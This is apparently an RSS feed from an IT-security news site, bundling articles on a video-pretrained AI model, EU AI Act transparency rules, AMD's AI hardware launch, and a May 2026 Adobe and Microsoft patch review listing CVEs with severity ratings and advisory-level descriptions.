<![CDATA[Team IT Security - 📰 Alle Kategorien]]> de-DE Wed, 29 Jul 2026 17:32:59 +0200 Wed, 29 Jul 2026 17:32:59 +0200 15 2026 Team IT Security lakandor@tsecurity.de (Horus Sirius) lakandor@tsecurity.de (Horus Sirius) IT Security Cybersecurity Nachrichten Team IT Security RSS Generator v2.0 https://tsecurity.de/favicon.ico <![CDATA[Team IT Security - 📰 Alle Kategorien]]> <![CDATA[Induction Labs Photon-1 Simulates Desktops, Plays Checkers, and Models Billiard Physics From One Pretraining Run]]> https://tsecurity.de/de/3695429/ai-nachrichten/induction-labs-photon-1-simulates-desktops-plays-checkers-and-models-billiard-physics-from-one-pretraining-run/ https://tsecurity.de/de/3695429/ai-nachrichten/induction-labs-photon-1-simulates-desktops-plays-checkers-and-models-billiard-physics-from-one-pretraining-run/ Sun, 26 Jul 2026 11:24:52 +0200 🔧 AI Nachrichten tsecurity.de Most agents that learn from video need to know what action produced each frame. Induction Labs is arguing that this requirement is the bottleneck. Last week, they released imagination models, a foundation model architecture that pretrains on raw video with no action labels at all. Their test system is Photon-1, a sparse 106B-A5B mixture-of-experts (MoE) [
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The post Induction Labs Photon-1 Simulates Desktops, Plays Checkers, and Models Billiard Physics From One Pretraining Run appeared first on MarkTechPost.

]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Sat, 25 Jul 2026 19:50:13 +0200 🔧 AI Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

]]> <![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]> https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ Sat, 25 Jul 2026 19:50:07 +0200 🔧 AI Nachrichten tsecurity.de

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD Instinct chart showing generational leap in performance

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

AMD Helios rack

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

Chart showing AMD EPYC CPU performance

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Dyson Clean+Wash Hygiene angewischt]]> https://tsecurity.de/de/3694675/it-nachrichten/dyson-clean-wash-hygiene-angewischt/ https://tsecurity.de/de/3694675/it-nachrichten/dyson-clean-wash-hygiene-angewischt/ Sat, 25 Jul 2026 19:36:33 +0200 📰 IT Nachrichten tsecurity.de Zum Beitrag: Dyson Clean+Wash Hygiene angewischt

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]]> <![CDATA[The May 2026 Security Update Review]]> https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/ https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/ Sat, 25 Jul 2026 19:02:56 +0200 đŸ•”ïž Hacking tsecurity.de I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-49 Adobe Commerce 15 Critical 8.7 No 2
APSB26-48 Adobe After Effects 4 Critical 7.8 No 3
APSB26-50 Adobe Connect 2 Critical 9.6 No 3
APSB26-51 Adobe Illustrator 4 Critical 7.8 No 3
APSB26-47 Adobe Media Encoder 2 Critical 7.8 No 3
APSB26-46 Adobe Premiere Pro 3 Critical 7.8 No 3
APSB26-55 Adobe Substance 3D Painter 2 Critical 7.8 No 3
APSB26-54 Adobe Substance 3D Sampler 1 Critical 7.8 No 3
APSB26-53 Content Authenticity SDK 14 Critical 7.5 No 3
APSB26-52 Adobe Substance 3D Designer 5 Important 6.3 No 3
TOTAL 10 bulletins 52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

-    CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

-    CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

-    CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

-    CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-35435 Azure AI Foundry Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-35428 Azure Cloud Shell Spoofing Vulnerability Critical 9.6 No No Spoofing
CVE-2026-42826 Azure DevOps Information Disclosure Vulnerability Critical 10 No No Info
CVE-2026-32207 Azure Machine Learning Notebook Spoofing Vulnerability Critical 8.8 No No Spoofing
CVE-2026-33109 Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2026-33844 Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability Critical 9 No No RCE
CVE-2026-41105 Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability Critical 8.1 No No EoP
CVE-2026-33111 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26129 M365 Copilot Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26164 M365 Copilot Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-33821 Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability Critical 7.7 No No EoP
CVE-2026-42898 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2026-40379 Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability Critical 9.3 No No Spoofing
CVE-2026-40363 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40358 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-34327 Microsoft Partner Center Spoofing Vulnerability Critical 8.2 No No Spoofing
CVE-2026-40365 Microsoft SharePoint Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-41103 Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability Critical 9.1 No No EoP
CVE-2026-33823 Microsoft Team Events Portal Information Disclosure Vulnerability Critical 9.6 No No Info
CVE-2026-40364 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40366 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40361 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40367 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-42831 Office for Android Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-41096 Windows DNS Client Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-35421 Windows GDI Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-40403 Windows Graphics Component Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-40402 Windows Hyper-V Elevation of Privilege Vulnerability Critical 9.3 No No EoP
CVE-2026-32161 Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability Critical 7.5 No No RCE
CVE-2026-41089 Windows Netlogon Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-32175 .NET Core Tampering Vulnerability Important 4.3 No No Tampering
CVE-2026-32177 .NET Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-35433 .NET Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2025-54518 * AMD: CVE-2025-54518 CPU OP Cache Corruption Important No No RCE
CVE-2026-42899 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-40381 Azure Connected Machine Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42823 † Azure Logic Apps Elevation of Privilege Vulnerability Important 9.9 No No EoP
CVE-2026-33833 Azure Machine Learning Notebook Spoofing Vulnerability Important 8.2 No No Spoofing
CVE-2026-32204 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42830 Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability Important 6.5 No No EoP
CVE-2026-33117 Azure SDK for Java Security Feature Bypass Vulnerability Important 9.1 No No SFB
CVE-2026-41109 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-35424 Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-41614 M365 Copilot for Desktop Spoofing Vulnerability Important 6.2 No No Spoofing
CVE-2026-41100 Microsoft 365 Copilot for Android Spoofing Vulnerability Important 4.4 No No Spoofing
CVE-2026-40377 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-41094 Microsoft Data Formulator Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40417 Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42833 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability Important 9.1 No No RCE
CVE-2026-42838 Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability Important 5.4 No No EoP
CVE-2026-40360 Microsoft Excel Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-40359 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-40362 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-42832 Microsoft Excel Spoofing Vulnerability Important 7.7 No No Spoofing
CVE-2026-34329 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40419 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40418 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35436 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-40420 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-42893 Microsoft Outlook for iOS Tampering Vulnerability Important 7.4 No No Tampering
CVE-2026-40374 Microsoft Power Automate Desktop Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-41102 Microsoft PowerPoint for Android Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-35439 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40368 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-33110 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-33112 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40357 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-32185 Microsoft Teams Spoofing Vulnerability Important 5.5 No No Spoofing
CVE-2026-41101 Microsoft Word for Android Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-35440 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40421 Microsoft Word Information Disclosure Vulnerability Important 4.3 No No Info
CVE-2026-41097 Secure Boot Security Feature Bypass Vulnerability Important 6.7 No No SFB
CVE-2026-40370 † SQL Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-41613 Visual Studio Code Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-41612 Visual Studio Code Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-41611 Visual Studio Code Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-41610 Visual Studio Code Security Feature Bypass Vulnerability Important 6.3 No No SFB
CVE-2026-33839 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33840 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34330 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34331 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35423 Windows 11 Telnet Client Information Disclosure Vulnerability Important 5.4 No No Info
CVE-2026-35438 Windows Admin Center Elevation of Privilege Vulnerability Important 8.3 No No EoP
CVE-2026-41086 Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-34344 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34345 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35416 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-41088 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34343 Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35418 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-33835 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34337 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40407 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40397 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42896 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35419 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-34336 Windows DWM Core Library Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-33834 Windows Event Logging Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32209 Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-33841 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35420 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
